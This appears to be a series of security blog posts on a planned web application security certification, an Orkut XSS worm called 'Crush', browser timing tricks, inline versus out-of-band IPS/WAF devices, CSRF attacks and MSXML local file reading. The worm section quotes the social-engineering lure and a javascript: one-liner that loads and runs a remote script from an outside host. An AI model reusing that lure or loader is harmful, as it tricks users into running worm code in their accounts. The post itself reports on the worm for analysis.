Anurag is the man behind a new web application security certification. Offered as a joint WASC/SANS cert, it’s aiming to be the de-facto web application certification program for people in our field. Regulating the industry may not be all that bad of an idea, given that I see more bad security people than good. But beyond that it’s cool to see the industry growing up where it needs full fledged certification.

Anyway, if you want to have some input on things that you’d like to see in the cert, now’s your chance. Click the link above and go to his surveymonkey link and spend a few minutes filling it out if this is at all interesting to you. Speak now or forever hold your peace.

Now the real question is, I wonder if I’ll pass this cert. Hey, Anurag, can I get some sort of an exemption? I never was very good at test taking!

I’m a little behind the times, catching up on my email, but I thought I’d post this first since it’s probably some of the most interesting stuff. Keyshor just sent me an interesting snippet related to another Orkut worm that I’m affectionately calling “Crush” given the mode of transport, which is the Orkut crush. Here’s Keyshor’s email (cleaned up slightly):

This is the vulnerable scrap

Find out who has crush on u….
wait 4 few minutes after pressing enter
Author–> Coder http://www.orkut.com/Profile.aspx?uid=12437994075478369725>:)
Just copy the JavaScript, paste it in your address bar and PRESS ENTER

*javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://002292.googlepages.com/crush.js';void(0)*

Trust me, ITS WORKING!!!

The site is down now, but I threw up the JavaScript source in the list of XSS worms so people could check it out. I was able to pull another version that was still alive here. It also appears that it may at least at one point have been a greasemonkey plugin by the headers, which is an interesting way to debug your DHTML malware, I suppose. Anyway, great snippet for those who want to do some more analysis.

I’ve been meaning to post this since Blackhat last year, but I just finally got around to posting a working example. Using David Byrne’s res:// timing trick and a hybrid of Jeremiah’s META refresh blocking I was able to do the same thing David was but without JavaScript. Oh how funky it is though!

Here’s the demo (only works in IE7.0). The timing is large enough so that you can actually see a difference (varies between a 5 and 15 second difference for me per link - for reasons I am still unsure of). But it’s a big enough difference that it should be possible to measure the file’s presence. The hard part is keeping it going without a user noticing that their browser locked up on them for the many seconds required to run. Pretty funky demo, and normally I’d probably set a cookie to keep the data but I got bored of writing the demo since I don’t think it’s especially practical. But you get the idea.

In other news, I should also mention that I got back from the Minnesota OWASP meeting. I was really surprised to see how many people came out to see me (probably 75 or so). All really nice people and I was impressed by Kuai and the entire setup. Very nicely done. I think my slides will be posted today or tomorrow. I guess Bruce Schneier spoke there the month before I did, so these guys definitely have got their eye on the heavy hitters for those of you on the speaking circuit. I also spoke on Minnesota Public Radio as well, which was kinda fun. I hope it continues to grow!

I missed Schmoocon and DC Blackhat but here is the unofficial list of my upcoming cons: Source Boston (leading a panel), RSACon 2008 (just visiting), TRISC (speaking), Secure360 (speaking - unconfirmed), Super Secret SANS Conference to be talked about at a later date (speaking), OWASP Denver (speaking - unconfirmed), World OWASP NYC 2008 (speaking). So yah, busy busy busy…

I’ve wrestled with the concept of inline devices to stop attacks for a long time. Disclaimer: no names of companies will be used in this post. However, there are legitimate reasons both to have inline devices and not to as well. Let’s look at the cons of inline security protection devices for a moment. The major cons of an out of band device have to do with high availability and throughput. In many networks even a fraction of a second delay is totally unacceptable. Packet loss is a non-starter too so an inline device must be able to handle the throughput that the pipe can generate (potentially gig line speeds). Also, the device cannot create a single point of failure, often requiring double the hardware for inline devices, which makes out of line boxes potentially more cost effective (assuming the cost of the switch, for the span port, or tap isn’t too high). Those things combine to make a pretty complex solve if you are determined to have an inline device.

Now the advantages of inline devices is that they can decelerate SSL traffic without requiring an extra external SSL accelerator and that they can see everything and potentially block anything that they detect as malicious. Let’s look at the difference in how an out of band IPS/WAF type device would have to work. Either it can make firewall rule entries by connecting to the firewall in front of the web application or it uses the China method of RST packets in one or both directions. Now, let’s dissect that scenario for a second.

For XSS this isn’t a terrible solution. RST packets in both directions means that anyone getting duped into clicking a link won’t see the resultant malicious JavaScript return to them. That’s great! Now let’s take SQL injection. There are two types of SQL injection that should be considered. The first is where I want to dump all the results from a database, or set my user account to be something other than what it should be which gives me a different sort of auth cookie - both require something to be sent back to the attacker, and because HTTP is a noisy protocol it’s totally feasible that it could block the packet before it’s sent. The other is where I want to change a password, or drop a table - where the attacker doesn’t need to get any result back. The same is true with remote file includes, or command injection. In each of those cases, the resultant request is not necessarily important for the attacker to “see” the results from the same IP address that they were attacking from. In fact, they could easily be different IPs, on unrelated ports, or at different times of day, etc…

So out of line security devices have a severe dis-advantage when it comes to the latter injection attacks (which can often be far more dangerous than the former attacks that involve reflected results). Attackers have long known how to use different IP addresses when necessary, so I don’t see any reason why they couldn’t do so in this case to evade the device or firewall rule. Not to mention firewall rules can often end up blocking lots of innocent people who happen to be behind the same NAT. So for my money, it looks like inline devices win that round - if throughput isn’t a major concern.

Further, there is another hidden problem here. Let’s say an attacker is unsure if an active security device is in place (either inline or out of line - it doesn’t matter), but doesn’t want to get erroneous results when testing. All the attacker would have to do is intentionally send something they would know should be blocked by any decent signature, and listen for a RST packet (if it is a device that sends one to you) or wait for nothing to be returned, (if it is the kind that sends the RST packet to the server or outright blocks the connection). With a large enough sample size of various default signatures, it’s possible to do actual versioning of the exact devices as well.

Enter the dawn of IPS/WAF fingerprinting. Code samples welcome.

Arian Evans has sent me a few emails on this, so to get him off my back I’m going to do a quick post about CSRF (Cross Site Request Forgeries). Yes, it’s real, it’s used, and it’s far more dangerous than most people give it credit for. First, let’s re-cap the news. A CSRF in Gmail allowed some poor guy’s domain to get hijacked. Not too surprising, knowing how poor Google’s security is. Now, how about this one where a pharming attack was spotted in the wild that leveraged CSRF to take over victims’ routers and send all packets bound for a Mexican banking site instead to the attacker. Zulfikar Ramzan at Symantec fails to mention that much of that concept was based on my original technique which was to for the purpose of “breaking into a router” in his previous post, but alas. I like Zulfikar, so I won’t harp on him too much for missing that one.

I cannot stress more how dangerous CSRF is. “One click attacks” are not even one click in most cases. You can simply visit a web board and instead of seeing an off domain image, you are invisibly having your router get re-routed, your credit card that’s on file with XYZ.com being used for purchases, your user preferences or passwords get changed and so on. I’ve seen a number of examples of CSRF in the wild now beyond this (it’s even been used against me), and I see no reason to believe this attack is going to decrease in likelihood or as a threat in general anytime in the near future. CSRF is here to stay. It’s how the Internet was built and it’s not changing any time in the near future.

I got an email from Schmoilito about some posts he did regarding Intranet hacking. Check them out here and here. There’s quite a bit of content there, surrounding how MSXML can be used to hack not Intranets, but local files as it provides a more robust infrastructure for doing local file reading. MSXML.XMLHTTP apparently doesn’t just pull remote files, but it can also be used to pull in file:// and read from local disc! Whoops! Time to lock that down if you use it. I guess we never really thought about zone escalation in a website’s requests. Erg!

The second post talks more about using timing attacks to do enumeration of open ports on the remote system, which I did cover in the comments of the original post on this topic. It’s cool to see that someone has been able to see and re-produce my theoretical attack in the lab. I have a feeling we’re going to end up seeing a lot more of these types of things in the wild. Nasty. Nice job, Schmoilito!

It’s been a long week but it’s not for naught. Lots to talk about, but not a lot of time to write it all. So let’s start with something I’ve been toying with for the last few days. Dan Kaminksy is one of those guys who is always looking for ways to build bit torrent with whatever technologies are available. It suddenly occurred to me that it’s actually possible under some very specific circumstances with existing technologies and a little trickery to use someone’s browser as a seeder in a convoluted scenario where you need to transfer a file to many people at the same time but bandwidth is at a premium.

So, welcome to building subversive file sharing with client side applications. The first question id asked me was if I was going to build it and speak about it at Blackhat or something. The answer is emphatically no way. It would take quite a bit of work to build it in any sort of reliable way (it’s not above the readers of this site, I’m sure, but it’s well outside of the time I have to devote to something like this). Anyway, in case anyone was wondering, yes, you can build file sharing in JavaScript. Painful, yes, but definitely possible.